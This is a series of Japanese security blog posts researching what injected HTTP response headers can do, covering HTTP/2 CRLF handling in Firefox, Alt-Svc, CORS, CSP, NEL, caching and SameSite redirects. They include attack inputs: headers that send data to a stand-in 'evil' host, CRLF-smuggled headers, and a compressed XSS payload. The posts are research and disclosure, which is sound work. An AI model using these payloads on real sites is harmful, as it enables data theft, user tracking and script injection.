HTTPヘッダについての調査(4/?)

1回目2回目3回目、の続き。前提条件はこれまでと同じ。

ブラウザ以外で処理されるヘッダ

前回のHTTP/2についての記事の中でCGIStatusヘッダに少し触れたので、ブラウザ以外(サーバやリバースプロキシ)で処理される応答ヘッダについて書く。

その種のヘッダには以下のようなものがある。

  • Status: 404 ... CGI環境などで応答ステータス変更
  • X-Sendfile: /etc/hosts ... Sendfileが有効な環境でサーバ上のファイルを取得
  • X-Accel-Redirect: /internal/secret ... nginxの内部リダイレクトで非公開ファイルを取得

他にもWebサーバや中間の機器で処理されうるヘッダというのは多くあるだろう。ただし、この手のものはサーバやリバースプロキシがヘッダとして解釈しなければならないので、LFが入ることが条件になることが多いと思われる。

ところで、普通のHTTPヘッダインジェクションは他人に踏ませる受動的な攻撃だが、Sendfileなどでは能動的な攻撃になりうる。この辺は、XSSが能動的なSSI(Server Side Includes)インジェクションなどに化けることがあるのに似ている。

HTTP/2におけるHTTPヘッダインジェクション

前記事でHTTP/2の話が出たので、ちょっと脱線して「HTTP/2におけるHTTPヘッダインジェクション」に関連して行った実験について書く。

既に何年も前に語られているように(abend氏, yasulib氏)、HTTP/2では「ヘッダの区切り文字」という概念は無くなっているものの、HTTP/2を使うWebアプリケーションでもCR/LFを使ったヘッダインジェクションの可能性はある。

実験

HTTP/2のヘッダに改行を含めた不正な応答をサーバからブラウザに送り、ブラウザ側の挙動を調べる実験を行った。上述のようにHTTP/2では「区切り文字」という概念は無いため、改行等を入れた応答ヘッダを作れる。

今回の実験では、HTTP/2のヘッダの値に加えてヘッダ名についても改行を入れてみた。

結果は下のとおり。

  • Chrome/Safari/IE
    • エラー画面を表示した(期待通り)。
  • Firefox
    • ヘッダ値に含まれる改行をスペース(0x20)に変換する。
    • ヘッダ名に改行を入れることで、新たなヘッダを作り出せる。

ヘッダ名に改行を入れた例を下に挙げる。

aaa:aaa[0x0D][0x0A]set-cookie:hello=111;path=/;

サーバから上のようなHTTP/2応答のヘッダ名を受け取ると、Firefoxは改行の後のset-cookieを新たなヘッダとして解釈してしまった。FirefoxはHTTP/2のヘッダをhttp/1.1のテキスト形式にした上でparseをしているが、テキストにする際のチェックが漏れていたのだろう。

ちなみにFirefoxHttp2Compression.cpp内でヘッダをhttp/1.1のテキストにしているようだ。そんな処理をするのかと意外な感じがしたが、工数を減らすために同様の方式にしている実装は割とあるのかもしれない。

HTTPヘッダインジェクションの文脈で(ヘッダ値ではなく)ヘッダ名をいじれる状況は殆どありえないし、変なヘッダ名をHTTP/2ヘッダにそのまま送り込むようなWebアプリケーション実行環境が存在するか甚だ疑問ではあるが、一応この問題をMozillaに報告したところ、既に別の方が「スペース等がヘッダ名に許されている」というバグを報告していることが分かった。先日リリースされたFirefox 93からはエラー画面を表示するよう変更されている。

なお、Firefoxに関してはこの辺のチェックが緩かったようで、v92にてHTTP/3のヘッダインジェクションも修正されている。

HTTP/2の仕様

HTTP/2の仕様(RFC 7540)はどうなっているかと言うと、10.3等に規定がある。

  • ヘッダ値にCR, LF, NULが含まれる場合はmalformedと扱う。
  • ヘッダ名についてもhttp/1.1的に不正なものはmalformedと扱う。

当然、http/1.1の仕様はヘッダ名に改行文字を許可していないので、ヘッダ名/値ともに改行が含まれるならば何らかのエラーとしなければならない。

ちなみに「malformedと扱う」のは個々のヘッダではなくて要求/応答メッセージ全体であり、クライアントであればエラー画面を表示し、サーバであればステータス400等を応答するべきなのだろう。

HTTP/2固有の応答ヘッダ

最後に、HTTP/2に特有のヘッダで、ヘッダインジェクションで使えるものがあるか?という点について。

例えば、前記事のAlt-Svcは、ChromeではHTTP/2でしか動かないようなので、ChromeにとってはHTTP/2に特有のヘッダと言える。他に何かHTTP/2特有のヘッダがあったかなと思ってざっと見直してみた。結論を言うと「今のところ使えそうなものは無さそう」なのだが、一応調べたことを書いておく。

HTTP/2のヘッダとしては以下の2種類がある。

  • 通常のヘッダ
  • 疑似ヘッダ

まず通常のヘッダをざっと調べたがめぼしい情報は見つからなかった。

次の疑似ヘッダだが、これは先頭に:が付いたHTTP/2固有のヘッダだ。応答で使える疑似ヘッダは:statusの1つのみだが、これをうまく使えば(CGIstatusヘッダと同じように)応答のステータスコードが変えられるかもと思い、NginxのCGIで試してみた。

ヘッダインジェクションがあるCGIに、以下のパラメータを与える。

redirect=ZZZZZ%0D%0A:status: 200

CGIプログラムはパラメータの値をLocationヘッダに出力する。

サーバが出力する応答ヘッダの全体は以下のようになる(HTTP/1的な形式で表現)。

:status: 302
server: nginx/1.20.1
date: Tue, 21 Sep 2021 14:59:34 GMT
content-type: text/html; charset=iso-8859-1
location: ZZZZZ
:status: 200  ← インジェクトされた部分

CGIなので単一のHTTP/2ヘッダの中に改行が入るのではなく、インジェクトした:statusは独立したヘッダとなる。

意図どおり応答には2つの:statusが含まれるが、全てのメジャーブラウザがこの応答をエラーとした。これはおそらく、HTTP/2仕様(8.1.2.1)の「疑似ヘッダは通常のヘッダより前に位置しなければならない」というチェックをブラウザが行っているためだろう*1

ちなみにBurp経由にすると、下のようにBurpのEvent logに「Normalized malformed HTTP/2 response」というメッセージが出る。

f:id:teracc:20211007145022p:plain

しかし、Burpが2つ目の:statusに一本化する形で正常なヘッダに書き換えるため、ブラウザに届くのは正常なステータス200の応答になる。要はBurpがある時だけは:statusヘッダのインジェクションは成功する。

調べていないが、一般のリバースプロキシ等で同じような挙動をするものも、ひょっとしたらあるかもしれない(ただし、使える可能性で言えば、:無しのstatusヘッダの方が大きいだろう)。

診断の観点では、HTTP/2においては「Burpを挟んでいる時だけ動作するHTTPヘッダインジェクションのPoC」というのが存在するので気に留めておく必要があるかもしれない(BurpはHTTP/1でも応答をnormalizeするので、HTTP/2でも/1でも発生しうることではある)。

*1:本来は、ヘッダを出力するWebサーバ側でも、何らかのチェックが必要なのだろう。

HTTPヘッダについての調査(3/?)

1回目2回目の続き。前提条件はこれまでと同じ。

代替サービス (Alt-Svc)

ChromeFirefoxは、代替サービス(Alternative Services, RFC7838)のAlt-Svcヘッダをサポートしている。

下が正常なAlt-Svc応答ヘッダの例である。

Alt-Svc: h2="example.jp:443"; ma=864000000; persist=1

ヘッダの意味は下のとおり。

  • h2 ... ALPNのプロトコル
  • example.jp:443 ... 代替サービスのホスト:ポート
  • ma ... maxage=設定を維持する秒数
  • persist ... ネットワーク環境の変更後もこの設定を維持するかのフラグ

ブラウザは30XのHTTPリダイレクト応答でもこのヘッダを解釈する。ブラウザはこの応答ヘッダに出くわすと、それ以降はそのオリジンへの要求パケットの送り先を代替サービスのホスト:ポートに変更する*1

動作のイメージとしては、

  • サーバへの通信を曲げる(DNSのCNAMEや、iptablesを使うのに似ている)。
  • プロトコルのアップグレード。

がセットで行われるような感じである。

Chromeはh2→h3へのアップグレードのみが可能っぽいので、この記事ではFirefoxの挙動について見てみる。

Firefoxが対応しているのは、*→h3に加えて以下のパターンだと思われる。

  • http/1.1 TLShttps) → h2
  • http/1.1 TCP(http) → h2

1つ目はHTTPS(http/1.1)の応答に、2つ目はHTTPの応答にAlt-Svcが付いているパターンだ。それぞれについて見ていくが、

  • 「target」というホストにあるHTTPヘッダインジェクションを使い
  • Alt-Svc: h2="evil:800"のような応答ヘッダを入れる

という前提で話を進める。

http/1.1 TLS (https) → h2

http/1.1 TLSとh2の振り分けは、通常はTLSのハンドシェイク時にALPNにより行うため、Alt-Svcヘッダでh2に上げる必要性は余りないと思われるが、Firefoxはこれを許している(http/1.1 TLSとh2を別のポートで提供するような場合にはこのヘッダを使える)。

ブラウザはAlt-Svc: h2="evil:800"ヘッダを受けると、以降の当該サーバへの接続時には、evil:800にh2で接続する。その際の要求メッセージの中身はAlt-Svcが無い時とほぼ同じである。

Alt-Svcヘッダを出力したホストを「target」とすると、

  • HTTP要求ヘッダのホストやTLSのSNIは「target」である。
  • 要求のCookieヘッダには「target」向けのCookieが含まれる。

同様に応答は、

  • オリジンは「https://target」のままである。
  • リソースのブラウザキャッシュのキーは「https://target」から取得した場合と等しくなる。

つまり、HTTP的な要求/応答の扱いはそのままに、それを送るプロトコルとパケットの送り先だけすり替える形となる。

セキュリティ的に言うと、evil:800はTLSのハンドシェイクの際に(evilではなく)targetのサーバ証明書を提示する必要がある。当然サーバ証明書のチェックはあるため、evil:800は(対象サーバのSSL秘密鍵を持っている時を除き)通信の中身を窃取/改竄できない。

しかし、攻撃者が鍵を持っていなくても、対象のホストにh2に対応したポートがあるならば、単純にそのポートにevil:800からパケットを流す構成にできる。

                                 target                evil

Browser <----------------------- http/1.1 TLS (443)
         Alt-Svc: h2="evil:800"

        ---------------------------------------------> Port forward
                                 h2 (8443) <---------- (evil:800 to target:8443)

つまり、流し込む先のh2のポートさえあれば、攻撃者は物理的に通信経路上にいなくても、Alt-Svcを入れることによって永続的/一時的に中間者の位置に収まることができる。通信内容の窃取/改竄はできなくても、ユーザがいつ対象サービスにアクセスしたかくらいは把握できる。

パケットを流す先の「h2に対応したポート」は別のホストのポートにもなりうる。例えば、ヘッダインジェクションがあるのが「target.example.jp」であり、「sandbox.example.jp」のような別のサブドメインのホスト上でh2が提供されているならば、そちらにパケットを流す手もある。

もちろん別のホストにパケットが流せるのは、

等の条件を満たす時に限られるが、その場合は「target」のリソースの全部/一部*2が「sandbox」から提供される、という妙な状態を作り出せる。「target」側のリソースにはアクセスできなくなるという意味でのDoSになるし、状況によっては他の攻撃につなげられることもあるかもしれない。

さらに、ALPACA的なクロスプロトコル攻撃、つまりTLS上でHTTP以外のアプリケーションを提供するポート(SMTP, POP, FTP等)にパケットを流す攻撃も考えられる。しかし、代替サービスの仕様的には「Alt-Svcで指定されたプロトコル名(h2やh3)のみで代替サービスに接続する」のがMUSTになっている。プロトコル名のチェックがあれば、SMTPサーバ等への接続はSSLのハンドシェイクの段階で失敗する。

ところで、仕組み的に当然であるが、Alt-Svcを入れる攻撃の効果はDNSをいじる攻撃と似ている。実際、DNSをいじれるのであれば、クロスプロトコル攻撃を含め、上に書いた攻撃は成立しうる。ただしAlt-Svcでは、

  • ヘッダを入れる対象はhttp/1.1のみ
  • パケットを流す先はh2のみ

という制約が生じるため、意味のある攻撃が組み立てられる状況はDNSと比べて大きく限定される。

http/1.1 TCP (http) → h2

TCP→h2は「Opportunistic Security for HTTP/2」(RFC8164)を実装している。日本語で言うと日和見暗号であり、通信経路上にアクティブな攻撃者はいない状態で、パッシブな攻撃者によるデータの盗み見を防ぐものだ。現状この仕様を実装しているのはFirefoxのみである。

後述するように、ヘッダインジェクションの文脈では、この仕組み(TCP→h2)を攻撃に使うのは困難だと思われるが、私個人として初めて知った仕組みなのでメモを兼ねて概要を書く。

Firefoxは、TCP接続でAlt-Svc: h2="evil:800"ヘッダに出くわすと、それ以降はアドレスバーのURLを「http://target/」のままとしながら、サーバへの通信はh2(TLS)にし、そのパケットはevil:800に送るようになる。

h2に載る要求メッセージの中身は、TLS→h2の場合と同じく、Alt-Svcが無い時とほぼ変わらない。特筆すべきは、h2(TLS)通信であるにもかかわらず、

  • secure属性を持つCookieはサーバに送られない。
  • SSLのクライアント証明書は提示されない。
  • h2の:schemehttpになる。
  • リソースのブラウザキャッシュのキーは「http://target」から取得した場合と等しくなる(リバースプロキシ等でのキャッシュの扱いには混乱があるかもしれない)。

となる点である。

無条件で代替サービスを指定されてもまずいので、以下のセキュリティ機構がある。

  • 日和見暗号だが、ブラウザはサーバ証明書を検証する。
    代替サービスは「target」のサーバ証明書を提示しなければならない。
  • .well-known URLによるOpt-inがある。
    ブラウザはh2側から所定の.well-knownのJSONを取得して、それが然るべき内容でなければAlt-Svcの指定を無視するようになっている*3

Opt-inがあるのは、「HTTPSのリソースにHTTPのオリジンを与える」かつ「永続的に影響を及ぼす」という、ある意味で危うい仕組みであるためだろう。

これが日和見暗号であるのは、最初のTCPで送られるAlt-Svcヘッダがアクティブな攻撃者により消された場合に、h2への切り替え自体がされなくなるためだ。他のプロトコルでの「STARTTLSが潰されたらダメ」みたいのと同じである。

仕様策定の初期段階では、ヘッダ名はAlt-SvcではなくHTTP-TLSであり、TLSサーバ証明書の検証はoptionalだったようだ。最終的にAlt-Svcと統合され、証明書の検証も必須となった。正規の証明書を用意するくらいならば、大抵の場合はOpportunistic SecurityではなくHTTPSを普通に使えばいいわけで、ユースケースが減ってしまったように見受けられる*4

仕組み的には面白いのだが、ユースケースが殆どなく、対応ブラウザもFirefoxのみであるため、殆ど普及していない機能であると考えられる。したがって.well-knownを置いているホストもまず無いだろうが、上述のようにh2側に.well-knownが無いとそもそも利用できない仕組みである。そのため、HTTPヘッダインジェクションの文脈において、TCP→h2を攻撃に用いるのは困難だろう。


残りの分はまた別途記事にしたい。

*1:仕様的には、代替サービスに接続できない場合はフォールバックして元のサーバに接続することが許されている。

*2:「一部」というのは、例えばAlt-Svcが付いている応答(HTML)は元のサーバから提供され、そこからロードするJSやCSSは代替サービス側から読み込まれる、みたいな状況を指している。

*3:/.well-known/http-opportunistic。Firefoxでは元のTCPとh2の両方で.well-knownチェックを行なう。

*4:ついでに言うと、Firefoxの実装では、http/1.1 TLSのポートは代替サービスに指定できない。指定できるのはh2/h3のみなので使いづらい。

試しにPro版に切り替え

はてなブログを試しにPro版に変えてみました。

今さらながら独自ドメイン使ってみようかと思ったのと、記事が殆どGoogle検索にインデックスされないことに気が付いたからです(インデックスされないのは無料版だからなのか、よく分からないですが)。

少なくともBloggerだと無料なので(ただBloggerではMarkdownが使えない)、はてなの月1000円は他と比べて高いような気もしますが、10年以上無料で使ってきたのでまあいいかなと。

Blog書く機会が減ったら、Proをやめて元に戻すかもしれません。

HTTPヘッダについての調査(2/?)

前回の続きのエントリ。前提条件は前と同じ。

CSRF (Refresh, Link, Content-Security-Policy)

ヘッダが入るページを起点として、同じオリジンの他のページにCSRFできないか?という文脈の話。トークンで対策しているなら攻撃の可能性は無いが、SameSiteのCookieや、Referer/Originなどの要求ヘッダを使い対策している場合には、可能性が出てくる。

以下はLinkヘッダを入れた例。

Link: </target.cgi?a=1&b=2>; rel=preload; as=script; crossorigin

ChromeSafariでは上のヘッダにより、下の3条件を満たす要求をtarget.cgiに送れる。

  • SameSite=Strictを含むCookie付き
  • Referer付き
  • Origin付き

問題はLinkRefreshではGETの要求しか送れないことだが、下のようにCSPの違反レポートを使えばPOSTで送れないこともない。

Content-Security-Policy-Report-Only: script-src 'none'; report-uri /target.cgi?a=1&b=2
Link: </>; rel=preload; as=script  ← CSPの違反を引き起こすため

要求ボディがapplication/csp-reportJSONではあるものの、Chromeでは上の3条件を満たすPOSTの要求をreport-uriに送れる*1。POSTでありさえすればよくて、パラメータがクエリストリングにあるかボディにあるかを気にしないアプリが相手ならば、この要求を受け入れるかもしれない。

Policy (Content-Security-Policyなど)

ヘッダでページにPolicyを課す方法はいくつかある。代表的なものはCSPであるが、最近は数が増えてDocument-Policy, Permissions-Policy, Referrer-Policy, Feature-Policyなどもある。ここでは、CSPを使ってヘッダが付いたページの機密性や完全性に影響を及ぼせないか考えてみる。

まずは機密性、つまりCookieSameSite=Laxの時に、CSPを使いボディを窃取する攻撃について考える*2。攻撃としては、都合の良いCSPルールをヘッダに入れて、攻撃者のサーバに違反レポートを送ってレポートに含まれる情報を取る、という流れになる。

下が簡単なCSPの例。

Content-Security-Policy-Report-Only: default-src 'none' 'report-sample'; report-uri http://evil

CSPでブロックされたURLは、レポートに"blocked-uri": "http://example.jp/x/y?a=1111"のように出る*3

また、ChromeFirefoxがサポートしているreport-sampleを使うと、違反したJS/CSSの中身がレポートに出る。例えば"script-sample": "var secret = 1234"のような感じ。ただ、出力されるのは先頭40字までなので、それを超える部分が欲しければCSPのhashで当てていくしかない。

このようにCSPのレポートを情報収集に使えるが、得られるのはCSPの制約が及ぶ範囲、つまりURLとインラインのJS/CSSの情報のみ*4

次に完全性について。CSPのhashを使うと、選択的にインラインのJSを生かしたり殺したりできる。下の例ではonclickによる入力チェックをCSPで無効化すると、hrefでJSを動かせる。

<a href="javascript:..." onclick="return !!this.href.match(/^https?:/)">link</a>

インラインのJSだけでなく、外部のJSをscript-srcを使ってファイル単位で潰したり、JSの特定の機能の使用をsandboxで禁止したりして、JSプログラムの実行フローにある程度影響を与えることも考えられる*5。しかし、いずれにしてもXSSにつなげられるような都合の良いプログラム構造を持っているページは稀だろう。

[×] 完全性チェック (Link, Content-MD5, Digestなど)

Linkヘッダを入れて、同じオリジンの別のページの内容をSRI(Sub Resource Integrity)で推測する手も考えられる。

Link: </anotherPage.cgi>; rel=preload; as=script; integrity=sha256-(hash)

ページとサブリソースが同じオリジンならば、サブリソース側にCORSヘッダが無くても完全性チェックが働くし、SameSiteのCookieもサブリソースに送られる。

完全性チェックの結果からは、リソースの中身に関する1bitの情報が得られる。問題はその1bitを攻撃者が入手できるか。少し考えてみたが、SRI自体にはレポーティングの仕組みは無いので、他のヘッダとの組合せやサイドチャネル攻撃などのトリッキーなことをしないと入手できず、やれる状況はかなり限られると思われる。SRIにもレポーティングの仕組みを作ろうという議論は一応あるので、もしそれが実装されたらSRIで情報収集できるかもしれない。

CSPには完全性チェック(hash)を行い、結果をレポーティングする仕組みがある。しかし前述のようにインラインのJS/CSSのみが対象になる。CSP Level 3からは外部のリソースにもhashが使えるけれども、SRIのintegrity属性値との整合をチェックするだけなので、任意のサブリソースのハッシュを突き止めるような用途には使えない*6

他にも完全性に関連するものでは、Content-MD5, Digest, Integrityなどのヘッダもある。これらは、サブリソースではなくメインのリソースの完全性チェックを行うためのものだが、現状は動作しないようだ。

ボディのエンコード (Content-Type, Content-Encoding)

Mediaタイプがいじれるなら、下記のようにHTMLにして、さらに必要ならUTF-7にする。

Content-Type: text/html; charset=UTF-7

UTF-7IE限定。IEで、ボディもある程度操作できるならば、XSSできることが多いだろう。IE以外については、ブラウザがサポートする文字コードが昔に比べて減ったため、候補はISO-2022-JPくらいしか無さそうで、XSSに持ち込める状況は限られるだろう。

次はContent-Encodingとの合せ技でのXSS。対象がJSONPであり、ボディ先頭のコールバック関数名(英数文字列)を自由に決められると想定する。

下の例では、Mediaをtext/htmlにし、圧縮をdeflateにした上で、英数になるよう圧縮したXSSペイロードをコールバック関数名の箇所に入れている。

Content-Type: text/html
Content-Encoding: deflate

D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt3swWptDDDtwGt0www03stDwttDG333333swwG03333gFPacKevmMumYyQYuECSNkUMymkAmCUeUMn1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXAoooo...(省略)...oooo888888888888888880pr05({"test":"1234"})

ボディをinflateすると<svg onload=alert(window.origin)>...になる。

見てのとおり、上の攻撃はRosetta Flashの変形版みたいなもので、圧縮された英数文字列はRosettaのコードを少しいじれば作れる。

なお、通常は元々の応答にContent-Typeが含まれているので、インジェクトにより複数の同名のヘッダができるかもしれない。その場合、IEは最初、他のブラウザは最後のものを使用する。

[×] Base URL (Content-Location, Content-Base)

もしヘッダでBase URLを変えられるならば、下のように相対URLを使うページでXSSできる。

<script src="/js/jquery.js">

昔のHTTP仕様(RFC2068, RFC2616)では、Content-Location(またはContent-Base)ヘッダでBase URLを指定できることになっていた。しかし、時とともに仕様は変化して、今のRFC7231では両ヘッダともその機能を失っている*7

今回調査でも試してみたが、やはり最新のブラウザではこれらのヘッダでBase URLを指定することはできなかった。これらが効くのはMHTMLの内側のヘッダ(HTTPボディ内)だけのようだ。

ちなみにCSPのbase-uriにより、元のHTMLにあるbaseタグを無効にはできるが、任意の値にセットすることはできない。


残りの分はまた別途記事にしたい。

*1:report-uriはdeprecatedであるが、新しいreport-toとは違ってpreflight無しで要求を送れるという性質がある。

*2:もしCookieのSameSiteがNoneであるならば、前回記事のfetch/XHRで中身を取ればよい。

*3:CSPの仕様により、リダイレクト後の別オリジンのURLの取得には制限がある。

*4:正確には、report-sampleが有効ならば、(外部のJS内で実行されたものを含めて)evalされた内容の先頭40文字もレポートされる。

*5:Feature-Policy, Permissions-Policyでも、JSの特定の機能を制限できる。

*6:integrity属性の値を突き止める用途には使える。

*7:Content-Locationの仕様の変遷はStack Overflowが分かりやすい。

HTTPヘッダについての調査(1/?)

HTTPヘッダインジェクションにおいて使えるヘッダについて調べてみた。ヘッダ内の挿入箇所から改行2つで応答ボディに抜けられないことはしばしばあって、そういう場合は基本的にヘッダだけで何とかしなければならない。そういう状況が主な想定ケースであるが、それに留まらず一般論としてHTTPヘッダにどれだけの能力があるのかを考えてみたい。

このテーマについては、2017年にWebLogicのバグを報告した際に調べたことがあり、まとまった調査としては4年ぶりとなる。今回の結果のうちNELヘッダについては既に別記事に書いた。

ヘッダで何ができるかは応答のステータスにもよるが、以下では簡単のためステータス200を前提とし、HTTPリダイレクト(ステータス30x)で動くものはその旨記載した。調べた結果、現時点では全く使えないものには[×]印を付けている。

書いていったら結構なボリュームになってしまったので、とりあえず書き終わった分だけを以下に公開する(続きはまた改めて記事にしたい)。

CORS (Access-Control-*)

まずは、ヘッダが入るページのボディに何らかの機密情報が含まれているとして、それを取得したい。そのためには、下のようにCORSのヘッダを入れてやり、それをXHRやFetchすればよい。

Access-Control-Allow-Origin: http://evil
Access-Control-Allow-Credentials: true

GETでもPOSTでも送れる万能な方法だが、現在はこの方法だけでボディが取れるとは言い切れなくなっている。

というのは、

  • SameSite=LaxCookieが増えてきた。
  • クロスサイトのXHRやFetchではLaxのCookieが送られない。
  • LaxのCookieが無いとヘッダインジェクションできない or 機密情報が応答に出ないことがある。

という状況があるため。

CookieがLaxの時のボディの取得については、以下で他の方法も検討する。

キャッシュ (Cache-Control)

CookieがLaxの時に、キャッシュを使ってボディが取得できるかを考える。

クロスサイトであっても、GETのTop level navigationであればLaxのCookieも送信される。その際に以下のヘッダを入れる(GETでヘッダインジェクションできることが前提になる)。

Cache-Control: public, max-age=100, immutable

この応答がリバースプロキシなどにキャッシュされれば、攻撃者はそのキャッシュを取れるだろう。

ブラウザキャッシュも攻撃対象になりうる。例えばTop level navigationで以下のヘッダを入れる。

Cache-Control: private, max-age=100
Access-Control-Allow-Origin: http://evil
Access-Control-Allow-Credentials: true

このブラウザキャッシュを攻撃者のページからfetch/XHRすればよい。実際IEではこの方法でブラウザキャッシュが取れる。

だが他のブラウザでは簡単にはいかない。モダンブラウザは同じURLであっても要求の文脈によりキャッシュを使い分けるためだ。調べてみたら「Double keying」というキャッシュ方式のFirefoxでは攻撃の余地が少しはあることが分かった。

概要を書くと、Firefoxでは下の2つがキャッシュのキーになる*1

① キャッシュ対象リソースのURL
② 最上位ページ(window.top)のサイト

要は、②の最上位ページのサイトが一致しなければキャッシュを読めない。逆に言えば、例えば対象サイトのどこかのページに攻撃者のiframeを入れられれば、仕込んでおいたキャッシュにiframe内からfetchでリーチできる。リーチできれば、そのキャッシュに入れておいたAccess-Control-*のおかげで中身が取れる。

前段の「対象サイトに攻撃者のiframeが入る」*2というのは厳しい条件だ。Chromeなどは「Triple keying」というキャッシュキーの方式であり、さらに難しい。

なお、本記事ではあまり触れないが、リバースプロキシなどのサーバ側のキャッシュは、中身を奪うだけではなく汚染する対象にもなりうる。その文脈では他人にURLを踏ませる必要はないわけで、CookieのSameSiteなど面倒なことは考えなくてよくなる。

Network Error Logging (NEL, Report-To)

前回記事を参照。下のようなヘッダを入れると、その後にユーザがアクセスするURLを継続的に取得できるようになる。

NEL: {"report_to":"test", "max_age":1000, "success_fraction":1}
Report-To: {"group":"test", "max_age":1000, "endpoints":[{"url":"https://evil"}]}

このヘッダはHTTPリダイレクト(30x)でも有効だ。ただし、NELにはChromeのみが対応しており、HTTPSでなければならないという制約がある。

CSS (Link)

HTMLのLinkタグ(の一部)はヘッダにも書ける。

Link: <URL>; rel=linktype

Relの値の種類は、HTML Spec, MDN, IANAを参照。ざっと見た結果、LinkヘッダでURLの取得処理が走るrelは以下のみだった*3

Chrome prefetch, preload, modulepreload
Safari preload
Firefox prefetch, preload, stylesheet, next
IE 無し

この項では、Firefoxだけが対応しているrel=stylesheetを取り上げる。

名前のとおり、これを使うとヘッダからページにCSSが入れられるため、ページの見た目を改竄できる。

Link: <data:,body{display:none} html::after{content:"hello"}>; rel=stylesheet

見た目の改竄以外にも、CSSが入るので属性セレクタやfontなどを使いボディの一部を抜き取れるかもしれない。

もう1つありうるのはCSSXSSだ。ヘッダが入るページそのものではなく、そこを起点にして同じオリジンの別のページ(下のanothePage.cgi)の中身を部分的に取れる可能性がある。

Link: </anotherPage.cgi>; rel=stylesheet

ブラウザは、同じオリジンのリソースはtext/htmlなどであってもCSSとして解釈するため*4、理屈上はCSSXSSが成立する。CookieもSameSiteのものを含めて送信される。しかしFirefoxCSSパーサは厳密なので、別のページの情報を取れる状況はかなり限定されるだろう。

なお、文字コードを使ったCSSXSSの余地はあるかもしれない(UTF-16の例)。ブラウザはLinkヘッダに付いているcharset指定を無視するが、文字コード指定が無い時に、親のページから子に文字コードが継承される仕組みは今もあるためだ。

[×] JavaScript/HTML (Link)

ヘッダでCSSが入るならば、JavaScriptはどうなのか... ということで試してみた。

まずはChromeが対応しているLink: rel=modulepreload仕様)だが、名前のとおりpreloadするだけでJSが実行されることはないようだ(rel=preload; as=scriptも同じ)。

過去にはHTML Importsのための<link rel=import>があった。いずれヘッダでも使えるようになったりしないよな... と思っているうちに、HTML Imports仕様自体が消えてしまった。

もう一つ、今回の調査で知ったのだが、Link: rel=serviceworkerもあったらしい(Suikawiki, Jxck blog)。そもそもService Workerの登録には制約が多いため使いづらいのではあるが、これもHTML仕様から消えてしまい現在は解釈されない。

という訳で、現時点では、ヘッダで正面切ってJS/HTMLを入れ込む方法は無いようだ。ただ、上記のようにLinkは新しいものが出ては消えていく状況なので、将来的には何かまた出て来ないとも限らない。

リダイレクタ (Refresh, Location)

ステータス200などであればRefreshヘッダをオープンリダイレクトに使える。

Refresh: 0; url=URL

一部のブラウザでは、RefreshLocationjavascript:data:のURLを入れてXSSできた時代もあった。今もChrome, Firefox, Safariではdata:にリダイレクトできるが(Top level navigationできるのはSafariのみ)、そのオリジンはnullになる。なので、現在ではこれらのヘッダは単なるリダイレクタくらいの用途しかない。

HTTPリダイレクト(30x)の時はLocationを使うことになる。Locationヘッダが複数ある時、IESafariは先頭のものを使い、ChromeFirefoxプロトコルエラーとする。ちなみに、単一の空のLocationがあると30xのボディをレンダリングするChromeの挙動は今も変わっていない。


とりあえず第1回として書いた分だけ公開した。残りの分は別途記事にしたい。

*1:厳密には、キャッシュのキーには、クレデンシャル有り無しのフラグなども含まれる。

*2:必ずしもiframeである必要はない。embedされたSVGなどでもOKのはず。

*3:HTTPでコンテンツを取得しないdns-prefetchなどは除く。FirefoxChromeソースコードも見たが、他に無さそうである。

*4:X-Content-Type-Options: nosniffは無い前提。

リダイレクトとSame-Site Cookie

調べものをしている中で、今さらながらSame-Site Cookieの仕様書を斜め読みした。

ググって最初に見つけた仕様の中で、same-siteは下のように定義されていた。

A request is "same-site" if its target's URI's origin's registrable domain is an exact match for the request's initiator's "site for cookies", and "cross-site" otherwise.

Same-site Cookies draft-west-first-party-cookies-07 2.1 (April 6, 2016)

対象(target)と始点(initiator)のサイトが一致すればsame-siteということになる。

リダイレクトを挟むとどうなるか

上の仕様を読んで疑問に思ったのは、始点と対象の間にリダイレクトが挟まっていたらどうなるかということ。

① A上にあるBへのリンクをクリック

Aサイトのページ <a href="https://site-B/">Bサイトへ</a>

② Bは302を返しAにリダイレクト

HTTP/1.1 302 Found
Location: https://site-A/donateMoney?to=Bob&amount=10000

③ リダイレクトによりAに返ってくる

https://site-A/donateMoney?to=Bob&amount=10000

上で引用した定義に従うと、③のリクエストは始点である①のページとサイトが同じなのでsame-siteになり、StrictやLaxのCookieが送られてしまう。Googleの検索結果のページを例にすれば、検索結果から別のサイトに遷移すると、リダイレクトを使ってGoogleのサイトの任意のURLに対してGETのsame-siteなリクエストを打ち込めることになる。

POSTであっても同じで、仮にAサイト上にPOSTでBにsubmitするフォームがあるとすると、①でAからBにsubmitし、②でBがステータス307を返すと、③でsame-siteのPOSTのリクエストがAに送られてしまう。POSTのボディについてはいじれないが、クエリストリングとボディのパラメータを区別しないことはままあるので、そうであればsame-siteによるCSRF対策は破れることになる。

実際のブラウザで調べると、Chromeはそのとおりの挙動だった。下は各ブラウザにおいて、最後のAへのリクエストで送られるCookieを表にしたもの。

ブラウザ GET A -> B -> A POST A -> B -> A POST A -> A -> B -> A バージョン
Chrome Strict/Lax/None Strict/Lax/None Strict/Lax/None 92.0.4515.131
IE Strict/Lax/None None Strict/Lax/None Windows10 21H1
(OS Build 19043.1165)
Firefox Lax/None None None 91.0.1
Safari Lax/None None None 14.1.2 (15611.3.10.1.5)

このようにsame-siteの定義はブラウザによってブレがある。Chromeは上の仕様通り実装されており、ある意味で具合が良くない。Firefox, Safariは始点との間にリダイレクトがあるとsame-siteとはみなさない。IEはまた少し違う。

CSRF対策をsame-siteのみに頼るのはそもそもどうなのかという話もあり微妙ではあるが、仕様かChromeのバグとして報告しようかと思って、もう少し調べてみた。分かりやすい問題なので、既に誰かが報告しているんじゃなかと思ったら、やはりその通りだった。

Issue 1221316: SameSite context type should consider redirect chain

仕様自体も、上記の私が引用していたのは実は古いもので、最新のものには以下のPRが反映されていて、リダイレクトが考慮されていることが分かった。

Consider redirects when defining same-site by englehardt - Pull Request #1348 - httpwg/http-extensions - GitHub

という訳で、しばらくしたらChromeFirefoxSafariと同様に、始点と終点だけではなく間のリダイレクトも考慮した上で、same-site判定することになるのだろう。

Fetchはどうか

以上はNavigationの話であったが、次はJSでのfetch()におけるリダイレクトについて見てみたい。

① AのページからBをfetch

② Bは302を返しAにリダイレクト

③ リダイレクトによりAに返ってくる

という流れ。

